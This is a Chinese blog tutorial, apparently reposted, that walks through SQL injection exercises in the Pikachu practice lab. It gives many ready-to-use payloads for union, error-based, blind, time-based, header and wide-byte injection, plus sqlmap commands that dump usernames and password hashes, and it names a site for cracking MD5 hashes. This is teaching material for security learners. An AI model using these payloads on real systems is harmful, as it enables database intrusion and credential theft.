Pikahu-SQL注入模块和sqlmap经典用法

Posted 幸运儿mnmnmn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Pikahu-SQL注入模块和sqlmap经典用法相关的知识,希望对你有一定的参考价值。

sql注入漏洞 危害是最大得

sql注入类型:  数字型  user_id=$id

       字符型 user_id=\'$id\'

       搜索型  text like \'%{$_GET[\'search\']}\'  "

 

select  字段1  from table  where  id=1  会显示表中第一行信息

select  字段1  from table  where  id=1 or 1=1  会显示表中所有信息

 

 

1.数字型注入 post

 

抓包如下 

 

 

 

 

 

 

查看代码,发现代码对id没有做任何过滤

 

 

 

 

 

2.字符型注入 get

 

猜测  SELECT 字段1,字段2,from table  where username= \' xxx\'

构造 SELECT 字段1,字段2,from table  where username= \' xxx     or 1=1  # \' 

 

 

 3.搜索型注入

 

 select  *  from table  where  username  like  \'%xxx% \' 

 

 

select  *  from table  where  username  like  \'%xxxx% \'  or 1=1# % \'

输入   k% \'  or 1=1#

 

 

 

 

4.  xxx型注入

 

查看代码

 

 

 

 

构造闭合

 

原先 where  username = (\'lucy\')

 

 

输入                           (\' lucy\') or 1=1 # \')

 

 

 

 

ps:

在实际操作中 需要根据自己的经验做实际操作  做测试

以字符型注入为例  

1.可能单引号闭合  可能双引号闭合 

举例  aaa\' or  1=1 #   或者  aaa“ or  1=1 #

通过检测 发现单引号闭合 是正确的

2.还可以根据返回的信息  判断数据的输入有没有参与到后台的数据库sql里去

举例lucy\' and 1=1 #  返回正确                     lucy\' and 1=2 #  返回 错误     则证明是单引号闭合

        

 

我们通过观察结果 发现payload 参与了后台数据库语句 所以 语句是正确的

3.输入‘ 进行测试

 

 

 

 

 

 通过报错 发现‘ 进行了sql语句拼接 只是报错了    通过报错 我们发现了注入漏洞

 

 

3种注释符号  :       #  、  -- (--空格)、/*  */  多行注释

 

 

 

 

 

 

 

union 语句后面的查询列数 要和主句查询语句列数一致

select database();  查看当前数据库

select user();  查看当前用户

select  version();  查看当前mysql版本信息

 

使用union 首先要猜测列数  使用order by

order by 2  根据第二列进行排序  order by 3  根据第三列进行排序

 

  order by 3

 

 

order  by  2

 

即可判断  有俩列

 

 

 

 

 

 

xx\'  union select 1,2 #  即可查询 显示位置

 

 

xx\' union select user() ,database() #

 

输入desc hotel;查看列和数据类型。

 

 

 

 

 

 

数据库知识
1.    查库:
Show databases;
select schema_name from information_schema.schemata
2.    查表:
Show databases;  use security;  show tables;
select table_name from information_schema.tables where table_schema=\'security\'(此表名用的时候大多数转为16进制)
3.    查列:
select column_name from information_schema.columns where table_name=\'users\'
4.    查字段:
select username,password from security.users

 

 

获取表名 

 

获取表名 payload

kobe\'  union select  table_schema, table_name from information_schema.tables where table_schema=\'pikachu\'  #

 

 

 

获取字段名

select id,email from member where username= \'kobe\' union select table_name, column_name from information_schema.columns where table_name= \'users\'

 

 

 test   payload

kobe\' union select table_name, column_name from information_schema.columns where table_name= \'users\'#

 

 

 

 

 

 

 获取字段数,

select id,email from member where username= \'kobe\' union select username, password from  users;

 

paylaod

kobe\' union select username, password from  users  #

 

md5加密   https://www.cmd5.com/

 e10adc3949ba59abbe56e057f20f883e

 

 

 

 

 

 

5.  报错注入

 

 

 

 

 updatexml()   https://blog.csdn.net/qq_37873738/article/details/88042610

构造注入语句:select name from user where id=1 and updatexml(1,concat(\'~\',(select database()),\'~\'),3);

updatexml(1,version(),0);    第一个位置 XML文档对象的名称,第二个位置是指定路径, 第三个位置是新得

kobe\'  and  updatexml(1,version(),0) #     显示不全面

 

 

 进行改造   kobe\'  and  updatexml(1,concat(\'~\',(select database())),0) #  

 

 

kobe\'  and  updatexml(1,concat(\'~\',(select version())),0) #

 

 

 

 

 

 

 

 

 

 

 报错只能一次显示一行

kobe\'  and  updatexml(1,concat(\'~\',(select table_name from information_schema.tables where table_schema=\'pikachu\')),0) #  

 

 

 

 

 kobe\'  and  updatexml(1,concat(\'~\',(select table_name from information_schema.tables where table_schema=\'pikachu\'  limit 0,1)),0) #  

使用 limit 0,1  进行逐行显示

 

获取完表明之后 同样方式获取列名

 kobe\'  and  updatexml(1,concat(\'~\',(select column_name from information_schema.columns where table_name=\'users\'  limit 0,1)),0) #  

 

 

  kobe\'  and  updatexml(1,concat(\'~\',(select username from users  limit 0,1)),0) #  

 

 

kobe\'  and  updatexml(1,concat(\'~\',(select password from users  limit 0,1)),0) #

 

 

 

6.1    insert注入

 

 

 

 

 

注册  姓名填 ‘  出现一下 错误  说明’  参与了后台sql语句拼接 导致了sql语句的错误

 

 

 

 

 

正常插入insert into member (username,pw,sex,phonenum,email,address) values (\'xiaohong\',11111111,1,2,3,4);

insert into member (username,pw,sex,phonenum,email,address) values (\'xiaohong\'  or   updatexml(1,concat(\'~\',(select version())),0)  or  \'  \' ,11111111,1,2,3,4);

 

 

 

构造payload     xiaohong\'  or   updatexml(1,concat(\'~\',(select version())),0)  or  \'

 

 

 

6.2  update 注入

update  就是登录上去 去修改个人信息  利用insert 进行修改

构造payload     xiaohong\'  or   updatexml(1,concat(\'~\',(select version())),0)  or  \'

 

 

 

 

 

 

 7.delete注入

查看源码  对获取到id 没做处理  直接拼接 进行删除

 burp suite 抓包  发送到repeart

 

 

 

 

 

1  or   updatexml(1,concat(\'~\',(select version())),0)

 

 

 

因为传得是url  需要对关键字进行url编码

 

 

 

编码之后发现空格都变成了加号 点提交

id=1+or+updatexml(1,concat(0x7e,(select+database())),1) HTTP/1.1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

基于extractvalue()

 

kobe\'  and extractvalue (0,concat(0x7e,version()))#

 

 

 

 

 

 

 

 

 

 

 floor()  取整   向下取整

 

 

 

 

 

 

 

 

 kobe\'  and  (select 2    from (select count(*),  concat(version(),  floor(rand(0)*2))x  from information_schema.tables group by x)   a)  # 

 

 

 kobe\'  and  (select 2    from (select count(*),  concat(database(),  floor(rand(0)*2))x  from information_schema.tables group by x)   a)  # 

 

 

 

 

 

 

8.http头注入

 

 

 

 

 admin  123456  登录  

 

 

 

 

 

 

 一般返回信息有user agent数据得 都会存在http注入

burp suite抓包 进行测试

 

 

 

 

 

 

firefox\'  or  updatexml(1,concat(0x7e,databse()),0)   or \'

 

 

 

 

 修改  cookie值

 

 

 

 

 

盲注

 

布尔盲注

 

 

 lucy\' or 1=1# 

 

 lucy\' and 1=1 #

 

 

 

 

 

 

payload   kobe\'  and  ascii(substr(database(),1,1))>1   #

猜测正确 显示

 

 

 

猜测错误 显示用户不存在

 kobe\'  and  ascii(substr(database(),1,1))>1   #    替换掉

 

 

 

 

 

 时间盲注

 

 

 

 

 

 基于时间得延迟 

kobe\'  and if ((substr(database(),1,1))=\'p\',sleep(5),null)#

 

 

 

 

 

宽字节注入:

当我们输入有单引号时被转义为\\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的

因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。

kobe %df‘ or 1=1#

 

 

 

 

 

 

 

 

 

 

 

 sqlmap

 

 

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"

 

 

 

 得到数据库:

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"   --current-db

 

 

 得到表名

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"   -D pikachu --tables

 

 

 

 得到字段名

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

 

 拿到数据

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -Tables users -C username,password --dump

 

 

 

 

拿到数据名和密码

 

以上是关于Pikahu-SQL注入模块和sqlmap经典用法的主要内容,如果未能解决你的问题,请参考以下文章

sqlmap 详细用法

网络sqlmap啥意思

SQL注入之sqlmap进阶

SQL注入--SQLMap过WAF--tamper模块使用

sqlmap注入工具

基础篇——SQL注入(工具注入)